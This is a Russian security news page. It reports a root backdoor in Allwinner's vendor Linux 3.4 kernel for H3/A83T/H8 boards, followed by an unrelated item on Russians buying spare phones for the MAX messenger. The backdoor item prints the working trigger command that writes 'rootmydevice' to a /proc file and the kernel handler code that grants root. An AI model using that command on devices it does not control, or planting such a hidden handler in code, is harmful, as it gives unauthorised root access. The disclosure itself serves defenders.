Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Разработчики Linux-дистрибутива Armbian обратили внимание на бэкдор, присутствующий в варианте ядра Linux, предлагаемом для устройств на базе процессоров Allwinner семейства sun8i (H3, A83T и H8). Бэкдор позволяет получить привилегии root через запись строки "rootmydevice" в файл "/proc/sunxi_debug/sunxi_debug".

   $ id
   uid=1000(user) gid=1000(user) 
   $ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
   $ id
   uid=0(root) gid=0(root) 

Проблеме подвержены дистрибутивы и прошивки, использующие предлагаемое компанией Allwinner ядро Linux 3.4, поставляемое в составе официального BSP для Android. Например, бэкдор присутствует во всех основанных на ядре 3.4 системных образах для плат с процессорами Allwinner H3, A83T и H8, включая Orange Pi, FriendlyARM, SinoVoip M2+ и M3 Banana Pi, Cubietruck и LinkSprite pcDuino8 Uno, пишет opennet.ru.

Для предоставления прав root в обработчике sunxi_proc_su_write используется следующий код, выставляющий привилегии root текущему процессу:

        if(!strncmp("rootmydevice",(char*)buf,12)){
		cred = (struct cred *)__task_cred(current);
		cred->uid = 0;
		cred->gid = 0;
		cred->suid = 0;
		cred->euid = 0;
		cred->euid = 0;
		cred->egid = 0;
		cred->fsuid = 0;
		cred->fsgid = 0;
		printk("now you are root\n");
	}

Бэкдор позиционируется как отладочный режим, упрощающий получение прав root на портативных устройствах на базе платформы Android. В настоящее время уже подготовлен патч, переводящий бэкдор в форму отключенной по умолчанию опции. Проблема уже устранена в выпуске дистрибутива Armbian 5.10. 

Россияне начали покупать второй смартфон для установки MAX

Россияне всё чаще покупают второй смартфон специально для установки российского мессенджера MAX. Как правило, речь идёт о недорогих моделях: дополнительное устройство используют именно для MAX, чтобы не устанавливать его на основной телефон.

При этом, по данным Росстата, по итогам 2025 года продажи смартфонов в России сократились: в количественном выражении — на 6 млн устройств, в денежном — на 140 млн рублей.

На эту тенденцию обратило внимание издание «Фонтанка».

Мессенджер MAX активно продвигают российские власти — как на федеральном, так и на региональном уровне. В сервис постепенно мигрируют домовые чаты, а также полностью перенесена функциональность платформы «Сферум», обеспечивающей единое цифровое пространство для образовательных учреждений — включая расписания уроков, электронные дневники и классные журналы. Кроме того, мессенджер приравняли к паспорту при подтверждении возраста.

Тем не менее многие пользователи не готовы устанавливать MAX на основной смартфон. Независимый аналитик и автор телеграм-канала «Телекоммуналка» Алексей Слукин в комментарии для издания отметил, что среди ключевых причин — опасения, связанные с дорелизным статусом MAX: мессенджер до сих пор находится на стадии бета-тестирования. Кроме того, у продукта есть серьёзные проблемы с работой на старых версиях мобильных ОС — iOS 15 и ниже, а также Android 8 и более ранних.

«Второй телефон даёт максимальную изоляцию. На таком устройстве нет личной переписки, фотогалереи, истории браузера, токенов банковских приложений. Даже если приложение будет вести агрессивный сбор данных, брать их будет просто неоткуда — кроме самого приложения. Это похоже на использование отдельного рабочего ноутбука, который никогда не подключается к домашней сети», — так описал преимущества установки MAX на «пустой» смартфон директор департамента расследований T.Hunter Игорь Бедеров.

Вместе с тем, как подчеркнул эксперт, такой подход не исключает возможность отслеживания активности и местоположения пользователя. По его словам, в каждом случае важно исходить из тщательного анализа угроз и рисков.

Для повышения уровня приватности Бедеров рекомендовал:

  • использовать виртуальные номера для регистрации учетных записей;
  • по возможности отдавать предпочтение веб-версиям сервисов, так как они требуют меньше разрешений, чем мобильные приложения;
  • устанавливать только минимально необходимый для работы набор системных разрешений;
  • регулярно обновлять операционную систему и защитное ПО на устройстве.

Как отметил эксперт, эти меры позволяют повысить уровень защищённости без дополнительных затрат.

RSS: Новости на портале Anti-Malware.ru